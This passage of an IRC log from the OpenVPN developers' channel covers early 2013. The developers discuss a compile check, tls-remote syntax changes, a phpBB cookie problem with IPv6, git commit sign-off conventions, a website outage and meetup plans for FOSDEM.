}\n" | gcc -x c - 10:21 <@dazo> <stdin>: In function ‘main’: 10:21 <@dazo> <stdin>:2: error: ‘EPOLL_CLOEXEC’ undeclared (first use in this function) 10:21 <@dazo> <stdin>:2: error: (Each undeclared identifier is reported only once 10:21 <@dazo> <stdin>:2: error: for each function it appears in.) 10:21 <@d12fk> as expected 10:22 <@d12fk> well we don't need atomicity anyways 10:22 <@dazo> grep -HniR EPOLL_CLO /usr/include/* ... gave nothing on that box 10:23 <@d12fk> set_cloexec() from fdmisc.c will then do 10:49 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 248 seconds] 10:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 11:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:05 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Client Quit] 11:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:08 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 11:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 14:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:16 <@cron2> why on earth did we change the syntax for tls-remote between 2.2 and 2.3, and have no blinking red warning sticker in there? 14:33 <@ecrist> lol 14:34 <@ecrist> blinking red is only available on xterm-color 14:34 <@ecrist> ;) 15:17 <@cron2> iOS client does something "close to 2.2" except for not escaping characters, while 2.3 does something completely different :-o 15:55 <@dazo> cron2: --compat-names .... that should have been among the warnings .... 15:55 <@dazo> but it might have been during the beta or RC releases or so 15:55 * dazo logs off now .... might check in during weekend, dunno yet 15:56 -!- dazo is now known as dazo_afk 17:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 19:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:01 <@ecrist> hola, krzee 21:02 <+krzee> como estas? 21:05 <@ecrist> bien. y tu? 21:05 <+krzee> todo bien aqui visitando california 21:06 <@ecrist> Je parle une petite espaniol. 21:06 <+krzee> haha i dont speak french 21:06 <@ecrist> planning on going to cali at some point this year, not sure when 21:08 <@ecrist> I swore, 4 years ago, I'd never be a javascript dev 21:08 <@ecrist> it's not become one more thing that's been dumped on me at $work 21:08 <@ecrist> that said, I'm figuring out some neat stuff 21:09 <+krzee> oya? 21:14 <@ecrist> just silly shit others have already figured out, but we've had problems with the big js libraries 21:14 <@ecrist> so, today I wrote some code that, when a page scrolls down to the top edge of a certain div, it pins itself to the top of the window viewport 21:14 <@ecrist> not jittery or anything 21:14 <@ecrist> somewhat happy with it 21:15 <@ecrist> also wrote a modal popup using js and CSS we've incorporated site-wide 21:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 21:25 <@ecrist> ping mattock/raidz 21:25 <@ecrist> can I get a high-res version of the openvpn logo, please? 22:35 <@ecrist> phpBB is fucking pissing me off 22:48 <@ecrist> mattock: 22:46:16 <@Noxwizard> The captcha on your main registration page isn't served over https btw. Chrome blocked it. 23:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:38 <@ecrist> *grumble* 23:38 <@ecrist> it seems firefox/safari cause a problem with PHP and other cookie-based web apps that are dual-stack 23:39 <@ecrist> we've narrowed my auth problem in phpBB down to flapping between IPv4 & IPv6 due to browser "faulty IPv6 detection" --- Day changed Sat Jan 26 2013 01:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:16 <@cron2> ecrist: you need to use cookies that do not store the client IP address 03:48 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 255 seconds] 03:55 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:55 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 13:11 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 13:28 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:29 <@ecrist> ah 13:29 <@ecrist> is that an option in phpbb? 13:30 <@cron2> I'd assume so (or in PHP), but I don't know. But given that more and more sites have IPv6, I'd expect this to be a fairly common problem nowadays, so they better should have 18:13 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 18:17 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 22:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] --- Day changed Sun Jan 27 2013 01:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:51 <@cron2> mmmh, dazo hiding again... 06:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 10:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:29 * krzee lol's at http://community.openvpn.net/openvpn/ticket/225 10:29 <+krzee> why would someone have no problem with putting their login/pass into a file, but have a problem with it being cached in memory 10:30 * krzee facepalms the guy who opened the ticket 10:35 <@plaisthos> krzee: it is still a bug 10:37 <+krzee> can i at least disagree with the priority? :D 10:37 <@plaisthos> krzee: yes :) 10:38 <@plaisthos> krzee: although I would just forbid auth-nocache when auth-user-pass is used 10:38 <@plaisthos> the combination does not make much sense anyway 10:38 <+krzee> right 10:39 <+krzee> if you accept it in a file, you have no right to not accept it in memory! 10:39 <+krzee> any argument against having it in memory is only more valid against having it in a file --- Day changed Mon Jan 28 2013 00:47 <@andj> krzee: I think I know one: "My password changes frequently, and I don't want OpenVPN to cache it :) 00:47 <@andj> (highly implausible, but still..) 03:11 <@plaisthos> andj: yeah. But for that use case you will have let openvpn ask you for pw via management/stdin :) 03:32 <@cron2> plaisthos: so how was snowboarding? 03:53 -!- novaflash is now known as novaflash_away 04:22 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 05:03 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 05:28 -!- novaflash_away is now known as novaflash 06:13 -!- dazo_afk is now known as dazo 06:33 <@cron2> mornin' dazo 06:33 <@dazo> cron2: hey! 06:57 <@cron2> dazo: so when is your next commit day? there's a bunch of ACKed patches on the list that want merging (and two of mine are hoping for lazy-ack) 06:58 <@dazo> cron2: I'm planning for that to happen in the coming weekend :) 06:59 <@cron2> Are your burns from the change-and-commit-at-fosdem patches healed? ;-) 07:00 <@dazo> hehehe ... I dunno, I've suppressed those pains so long I don't remember if the pain is real or just vague memories .... 08:36 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 08:36 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Quit: leaving] 08:37 <@plaisthos> cron2: good thanks for asking 08:37 <@d12fk> so, who's in brussels sat. night to join the annual dinner? 08:37 <@d12fk> sophos is buying again 08:40 <@vpnHelper> RSS Update - tickets: #256: Can't establish connection to the server with more then 1 DNS <https://community.openvpn.net/openvpn/ticket/256> 08:44 <@ecrist> cron2: there *is* a setting for cookie validation. I've removed the IP and host authentication hoping that'll fix my issue 08:44 <@cron2> ecrist: cool 08:44 <@ecrist> thanks for the pointer on that. 08:44 <@ecrist> forest/trees and all that 08:44 <@cron2> d12fk: I'm always with you if there's free beer and good food :-) 08:48 <@cron2> (I'll arrive Friday early afternoon, and stay until Sunday evening this time) 08:49 <@cron2> d12fk: as far as I know, at least dazo, james, mattock, plaisthos, you and I will be there 08:50 <@dazo> cron2++ 08:51 <@d12fk> how about andj? 08:52 <@cron2> I think he's coming, but I can't remember for how long 08:52 <@d12fk> andj: will you join the fosdem dinner? 08:53 <@cron2> JFTR, I will *not* go to the beer event on Friday - I really don't like "too crowded, too loud, only purpose is to get drunk" events 08:53 <@ecrist> or fun, apparently 08:53 <@ecrist> :P 08:54 <@cron2> ecrist: definitions of "fun" vary. For me, "talking to people and being able to hear anything" is a major part of "fun", while getting drunk is not, and having drunk people around is twice not 08:55 <@ecrist> I'm just busting your chops. It's very much no fun to be around drunks when you're sober 14:02 <@ecrist> cron2: since I changed the IP settings for cookies, I haven't had a problem. thanks for the pointer 16:21 -!- dazo is now known as dazo_afk 17:14 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 17:17 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 17:30 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn-devel 17:30 < MeanderingCode> hey all...thanks for building an Android version! 17:31 < MeanderingCode> i'm having an issue, though, using it in my app...it's returning an exit status 11 and i haven't found what that means 17:31 < MeanderingCode> any leads for me? 17:38 < MeanderingCode> it happens in java.lang.ProcessBuilder when i call start(), but i don't yet have the source hooked into Eclipse 18:00 <@ecrist> what version of android are you using? 18:00 <@ecrist> it requires ICS 18:01 < MeanderingCode> ecrist: hey 18:02 < MeanderingCode> ICS...i just found out this error only occurs in the emulator 18:02 <@ecrist> :) 18:02 < MeanderingCode> on my physical device running cyanogenmod JB, the vpn connection works just fine 18:02 < MeanderingCode> i'll give 3/4 of a happy face for that 18:03 <@ecrist> why do you need it to run in the emulator? 18:03 < MeanderingCode> i like testing my minor code revisions in the emulator instead of pushing them to my device to run 18:04 <@ecrist> you could try posting to -devel mailing list and asking there why it doesn't work in the emulator 18:04 <@ecrist> might be a simple answer/fix 18:04 < MeanderingCode> does anyone here know what would cause Android ICS in an emulator to fail? 18:04 <@ecrist> the android client isn't yet open source 18:04 < MeanderingCode> ecrist: thanks...i'll do that tomorrow or so...gotta deadline this week, moving on :) 18:04 < MeanderingCode> it's not?! 18:05 <@ecrist> no, not yet 18:05 <@ecrist> it uses an entirely re-written client in c++ 18:05 <@ecrist> and, only the client parts of code have been re-written, so you can't, for example, run an openvpn server on your android device 18:07 < MeanderingCode> wait...i lied...thanks for building an Android client, but i'm compiling the open source c client 18:07 < MeanderingCode> with ndk 18:07 < MeanderingCode> sorry, long week and a half :/ 18:08 <@ecrist> there are two ICS openvpn clients. the "official" one uses the new code 18:08 <@ecrist> there's another one we support here, that uses the current openvpn client code 18:08 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 2 voices, 7 normal] 18:08 <@ecrist> that author is here now 18:12 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Ping timeout: 255 seconds] 19:01 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 19:03 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel --- Day changed Tue Jan 29 2013 00:46 <@andj> d12fk: I'd love to join the dinner 00:47 <@andj> BTW, who is heading to the Friday beer event? I am, and would love to get you guys a few beers :) 02:17 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 03:25 <@d12fk> andj: cool, wil your wife be there as well? 03:25 <@cron2> o_O 03:26 <@d12fk> i'll drink one on fox-it =) 03:27 <@d12fk> maybe even two :-) 03:32 -!- dazo_afk is now known as dazo 03:59 <@dazo> I'm planning for the beer event too ... but mostly to catch up with people for a little while 04:01 <@d12fk> dazo: what a lame excuse for alcohol abuse =P 04:01 <@dazo> heh ... yeah, I can understand that some people think not drinking "enough" is an alcohol abuse ;-) 04:06 <@d12fk> as already mentioned i'll be there to rescue a couple blondes 04:06 <@d12fk> ... or whatever color they are in belgium, you never know 04:07 <@d12fk> plaisthos: will you be there on saturday? 04:21 <@cron2> I'll try to find some nice food on Friday evening, then... 05:16 -!- dazo is now known as dazo_afk 05:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 07:18 <@cron2> wah 07:18 * cron2 hates libtool 07:19 <@cron2> trying to make dovecot work with sieve plugin. plugin library installed as ".la" and ".a" (AIX). dovecot wants ".so"... and all happening inside libtool magic 07:19 <@cron2> (ok, "libtool and AIX" is what I'm hating, in particular) 07:42 <@ecrist> if you all go next year, again, I'm going to plan on attending. 08:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:32 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 10:46 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 11:29 -!- dazo_afk is now known as dazo 13:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 13:01 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:01 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:12 -!- krzie is now known as krzee 13:36 <@andj> d12fk: nope, I'm on my own this time... 14:28 <+novaflash> yo guys 16:25 -!- dazo is now known as dazo_afk 18:19 <@plaisthos> d12fk: yeah 19:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 20:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Jan 30 2013 03:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:03 -!- dazo_afk is now known as dazo 04:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:21 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 11:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:46 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 12:02 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:46 <@cron2> mattock: is anyone doing a list of topics that we want to cover in brussels? Or are we just going to get drunk and have fun? 13:46 * cron2 has "coverity", "patch queue backlog" and "2.3-in-AS" on his TODO list (at least) 13:55 * dazo got cron2's two first items on his TODO list too 13:55 <@cron2> just editing wiki page 13:57 <@dazo> (need to run now) 13:58 <@cron2> https://community.openvpn.net/openvpn/wiki/fosdem2013 13:58 <@vpnHelper> Title: fosdem2013 – OpenVPN Community (at community.openvpn.net) 13:58 -!- dazo is now known as dazo_afk 14:06 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 14:22 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:52 <@ecrist> mattock: you around? 14:52 <@ecrist> I'm just looking for a git hand-holding session 14:52 <@mattock> ecrist: yeah, I'm here at least for a little while 14:52 <@mattock> shoot 14:52 <@ecrist> I have changes, and I need to commit them, forget what headers/etc you guys put in 14:53 <@mattock> you mean like: Signed-off-by: Samuli Seppänen <samuli@openvpn.net> 14:53 <@ecrist> yeah 14:54 <@mattock> ok, so you can check that out yourself from the openvpn git tree... do you have it around somewhere? 14:54 <@ecrist> this is for easy-rsa, fwiw 14:55 <@ecrist> but, yes, I do have an openvpn git tree around 14:56 <@mattock> ok, so the basic setup in openvpn git is like this: 14:56 <@mattock> First line with short description, max 80 chars 14:56 <@mattock> <empty line> 14:56 <@mattock> Longer, multiline description, if needed, max 80 chars per line 14:56 <@mattock> <empty line> 14:56 <@mattock> Metadata, such as "Signed-off-by: Firstname Lastname <email>" 14:57 <@mattock> normally, if you have uncommitted changes, you'd do: 14:57 <@mattock> git add <file> 14:57 <@mattock> git commit -s <file> 14:57 <@mattock> the -s switch adds the Signed-off-by -line automatically 14:57 <@ecrist> ok 14:57 <@mattock> then, when you want to push to github, you do 14:57 <@mattock> git push origin master 14:58 <@mattock> make sure you got your email and fullname configured properly in ~/.gitconfig 14:58 <@ecrist> ok, so, I have changes, I do "git commit -a -s" 14:58 <@ecrist> right? 14:58 <@ecrist> (no new files) 14:58 <@ecrist> and then format the message as you indicated above 14:58 <@mattock> yeah, I think you can use the -a switch to add (i.e. git add) the files automatically 14:58 <@ecrist> ok 14:59 <@ecrist> thanks 14:59 <@mattock> np 14:59 <@mattock> if you want, you can add other tags besides "Signed-off-by" when you edit the commit message 15:00 <@ecrist> how do you guys give credit to an original author? 15:00 <@mattock> you can use "git log" in the openvpn git repo to see what dazo has added there 15:00 <@mattock> hmm, let me check 15:00 <@ecrist> (i didn't write these patches) 15:02 <@mattock> ok, so I think the Signed-off-by should point to the author 15:02 <@ecrist> multiple signed-off-by maybe? 15:02 <@mattock> if you did some changes to the patches, then you could add another Signed-off-by line with your info 15:02 <@mattock> yes 15:03 <@ecrist> or maybe a Contributed-by: line? 15:03 <@mattock> some other useful tags: 15:03 <@mattock> Tested-by: 15:03 <@mattock> Reported-by: 15:04 <@mattock> if there's some discussion about the change somewhere, you could add and URL: 15:04 <@mattock> URL: <someurl> 15:07 <@ecrist> thanks, mattock 15:16 * ecrist poofs 15:16 <@ecrist> I'll need to tag that tomorrow, I think, and push out new packages 15:23 <@mattock> ok, great! 15:23 <@mattock> I'll be sending you some easy-rsa documentation patches soonish 15:23 <@mattock> next week probably 15:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:57 -!- mattock is now known as mattock_afk --- Day changed Thu Jan 31 2013 00:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 00:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 00:34 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 00:34 -!- dazo_afk is now known as dazo 01:20 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 01:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 01:34 -!- dazo_afk is now known as dazo 07:26 <@dazo> ecrist: if you want to credit someone as the author of a patch ... git commit -s --author "John Doe <john.doe@example.com>" .... you can even add --date too 07:27 <@dazo> ecrist: other ways, Contributed-by: (we've never used that one, but I'm fine with it) and Signed-off-by: are perfectly fine 07:29 <@dazo> I'd prefer Signed-off-by: to be used when the contributor have had a chance to review possibly changes, or that the changes are so minor/obvious a review is pointless (meaning, no code path changes, just white-space/spelling/other typos type of changes) 07:29 <@ecrist> ahhh 07:29 <@dazo> Signed-off-by means to be "Yes, I've looked at this code, and I'm fine with it) 07:29 <@ecrist> that's what I thought 07:29 <@ecrist> this time, I did two signed-off-by lines 07:29 <@dazo> that's very fine :) 07:30 <@ecrist> the --author is what I was looking for 07:46 <@cron2> what will --author do? 07:51 <@dazo> it sets the patch author field in the commit logs 07:52 <@dazo> git tracks patch author and committer (you see both with git log --pretty=fuller) 07:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:54 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 08:00 <@cron2> oh, cool 08:00 * cron2 tries to remember 09:20 <@ecrist> mattock: I'll wait to tag 2.2.1 until I get your documentation changes 09:32 <@cron2> meh 09:33 <@cron2> varnish borked on http://openvpn.net/ 09:33 * cron2 pokes mattock and raidz 09:34 < waldner> should openvpn.net be https-only? (just asking) 09:39 <@cron2> community is https-only, for whatever reason. openvpn.net isn't 09:39 <@cron2> normally not, that is 09:40 < waldner> and http://community.openvpn.net/ should probably redirect then, no? 09:40 <@cron2> well, yes (I'm aware that it does not, but I can't say whether this is new breakage or "has always been like that") 09:41 < waldner> ok 09:54 <@ecrist> lol 09:54 * ecrist looks into it 10:04 <@ecrist> it should work correctly now 10:05 <@ecrist> cron2 / waldner if you could verify for me 10:06 < waldner> hanging 10:10 < waldner> HTTP request sent, awaiting response... 10:13 <@cron2> ecrist: which one, community or openvpn.net? 10:13 <@ecrist> community 10:13 <@cron2> that works, redirecting to SSL now, thanks 10:14 <@ecrist> waldner: not sure why it's hanging for you 10:14 <@ecrist> I'm showing redirects working here, too 10:16 < waldner> ah, community 10:17 < waldner> I was talking about openvpn.net, which still hngs with 504 gateway timeout after a while 10:17 < waldner> I can give you my ip in cas you want to look at the logs 10:20 <@cron2> huh? community.net errors-out immediaately for me 10:21 <@cron2> ah, no, that changed, it now hangs... 10:23 <@plaisthos> community works for me 10:23 <@plaisthos> redirecting to https 10:24 <@ecrist> I can't do anything with the corp site 10:24 <@ecrist> I can only do stuff with the community/forum/ldap systems 10:26 < waldner> http://www.downforeveryoneorjustme.com/openvpn.net 10:26 <@vpnHelper> Title: Down For Everyone Or Just Me -> Check if your website is down or up? (at www.downforeveryoneorjustme.com) 10:28 <@ecrist> waldner - does community work for you? 10:29 < waldner> yep 10:29 < waldner> and redirects 10:29 < waldner> but I think cron2's original poke was about the corp site 10:30 < waldner> the https/community stuff was just an aside (however, thanks for fixing the redirect) 10:30 <@ecrist> this was the first I'd heard of the redirect issue 10:31 <@ecrist> I don't have any pull on the corp sites 10:31 < waldner> can't you contact someone who does? 10:31 <@ecrist> that's mattock 10:31 <@ecrist> or raidz 10:32 <@ecrist> I have the same contact info you and everyone else has 10:32 < waldner> ok, so let's see if they see the alert 10:32 <@ecrist> unless raidz is on xbox live pwning some n00bs 10:32 <+novaflash> i think raidz is on his way to the office 10:33 <+novaflash> and probably already working on the problem or will be within a few minutes 10:33 <@ecrist> novaflash: you don't have access to fix things? 10:33 <@ecrist> I know you're on payroll now 10:33 <+novaflash> not to those systems - while i could get the codes and get access when raidz is around next, i never had to access those systems before. 10:34 <+novaflash> i usually don't need access to the server that runs the site 10:36 <+novaflash> perhaps it might be a good idea for me to get those codes for future occurences, since i'm in another timezone et al 10:40 <@ecrist> either that, or they should give me access, though i'm not on payroll 10:41 <+novaflash> please give your codes to me, i will keep them safe. mwuaha. 10:50 <+novaflash> hm 10:50 <+novaflash> looks like something's working again 10:50 < waldner> yes working now 11:11 <@cron2> novaflash: are you coming to fosdem? 11:12 <+novaflash> the way it looks now, i don't think i will, unfortunately. i want to but i have things that absolutely need to be finished by this weekend. deadlines suck :( 11:13 <@cron2> :(/ 11:20 <@plaisthos> :( 12:34 -!- dazo is now known as dazo_afk 14:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 14:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 20:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Feb 01 2013 03:47 <@cron2> so... off to the airport 03:48 -!- dazo_afk is now known as dazo 05:26 <@cron2> dazo: take a train to brussels central and walk 5 minutes, using your Android smartphone with preloaded maps of Brussels to find your way? :-) 05:26 <@dazo> hehe :) 05:27 <@dazo> yeah, I think I'll recall the details when I arrive there :) 05:27 * dazo still don't have an Android phone yet ... and the map on his N900 has become corrupted 05:27 <@dazo> Printing from google maps have to do :) 05:28 * dazo feels so low-tech now ... 05:28 <@cron2> that's *so* low-tech... 05:28 <@cron2> shall we send someone to the train station to guide you to the hotel...? 05:29 <@cron2> (I admit that I actually carry a printed city map with me :-) but want to see how well the N7 works out) 05:55 <@dazo> :) 06:29 -!- dazo is now known as dazo_afk 07:29 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:29 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:29 <@mattock_> who's already at bruessels? 07:29 <@mattock_> I met James a while back already 07:40 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 07:43 <@plaisthos> mattock: I just arrived 07:50 <@d12fk> ping anyone? 07:51 <@plaisthos> d12fk: pong 07:51 <@d12fk> will arrive 6ish. are there any plans for dinner tonight? 07:51 <@d12fk> plaisthos: have you met with dazo and cron yet 07:52 <@d12fk> you're staying at arenberg as well right? 07:53 <@d12fk> tunnels and umts don't mix =) 07:56 <@plaisthos> d12fk: no at another hotel 07:56 <@plaisthos> d12fk: not yet. I arrived 30 minutes ago 07:57 <@d12fk> ah ok, where di you stay? 07:57 <@d12fk> city centre as well? 07:57 <@plaisthos> yes 07:57 <@plaisthos> nh hotel du grand sablon 08:01 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:01 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 08:06 <@plaisthos> mattock: re 08:07 <@plaisthos> mattock: Are you already at bruessels? 08:08 <@mattock_> yep 08:08 <@mattock_> you too? 08:08 <@mattock_> and james too 08:09 <@plaisthos> mattock: yes arrived about 30-45 min ago 08:11 <@d12fk> is francis not there 08:15 <@plaisthos> mattock: you are are at the nh aarenbug 08:15 <@plaisthos> ? 08:15 <@plaisthos> d12fk: no idea about dinner tonight but sounds like a good idea 08:18 <@d12fk> maybe something fast before the beer event 08:18 <@d12fk> will try to get in touch with dazo when i arrive 08:18 <@d12fk> does he have you contact? 08:19 <@mattock_> so francis had to cancel due to import business meetings... I was surprised as I assumed he had booked the hotel & flights 08:19 <@mattock_> I'll let James fill in the details 08:19 <@mattock_> d12fk: definitely something quick snack before the beer event 08:19 <@mattock_> proper dinner tomorrow evening perhaps? 08:20 <@plaisthos> d12fk: If he read my email he should 08:20 <@d12fk> yes, place from last year was booked so i chose a new one with uncertain outcome =) 08:20 <@mattock_> plaisthos: sofitel bruessels europe, a few km to the east of grand place 08:21 <@d12fk> mattock_: you still have my mobil # from last year? 08:21 <@mattock_> d12fk: what a shame, that place was so nice... let's hope for the best 08:21 <@plaisthos> mattock_: ah okay. I still have no idea about this city ;) 08:21 <@mattock_> lemme check 08:21 <@mattock_> d12fk: yep, got it 08:22 <@mattock_> at what time should we meet and where? 08:23 <@mattock_> also, when are David and Gert arriving? 08:23 <@d12fk> ok call me when you're getting into town we'll meet somewhere then 08:23 <@d12fk> my train comes into brussels 17:30 so 19 should be doable 08:25 <@d12fk> think dazo is there already, no idea about gert but they stay in my hotel, i'll find them =) 08:25 <@plaisthos> Gert said 16 ish in his mail, David 19 ish 08:25 <@mattock_> ok, I'll text them 08:25 <@mattock_> got to check my emails, they probably informed me about their arrival 08:26 <@plaisthos> nh hotels is really generous with their free wifi (100 MB at 128 kBit/s) 08:26 <@d12fk> good, later then, i get off this crappy connection now 08:26 <@d12fk> back online in the hotel 08:26 <@plaisthos> d12fk: see you 08:26 <@plaisthos> where should we meet? 08:39 <@mattock_> hmmm 08:39 <@mattock_> maybe in front of gare centrale metro station? 08:40 <@mattock_> at 17:30? 08:40 <@plaisthos> sound goods 08:40 <@plaisthos> do you have my mobile number? 08:41 <@mattock_> yep, saved it, I'll SMS you so that you get mine 08:42 <@plaisthos> got it 08:42 <@mattock_> nice! 08:45 <@mattock_> if I recall correctly, there is a big main exit at Gare Centrale which one can't miss 08:45 <@mattock_> I'll verify that 08:47 -!- AnCron [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:47 -!- mode/#openvpn-devel [+o AnCron] by ChanServ 08:48 <@mattock_> is that An(other) cron2? 08:48 <@mattock_> :) 08:48 <@AnCron> Arrived, even though even G maps is confused about street names here 08:49 <@AnCron> Mattock: you're already there? 08:50 <@plaisthos> AnCron: my google map app shows the flämisch and french names 08:51 <@AnCron> Plaisthos: yes - while online! Offline cache had no name for the street where the hotel is at all! 08:53 <@mattock_> yep, I'm here, sent email about current plans for today 08:54 <@AnCron> *reading...* 08:57 <@AnCron> Sounds like a good plan. Meet in the lobby at 17:20? 09:00 <@mattock_> Let's see if James pops in here soon 09:01 <@mattock_> emailed him 09:01 <@mattock_> I _could_ have walked 15 meters and knocked the door, but how lame is that? :D 09:02 <@AnCron> Isnt james on another hotel? 09:04 <@cron2> so, this is better 09:04 * cron2 is myself again :-) (laptop, screen, instead of n7 and yaiic) 09:05 -!- AnCron [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 09:06 <@mattock_> cron2: no, the as I 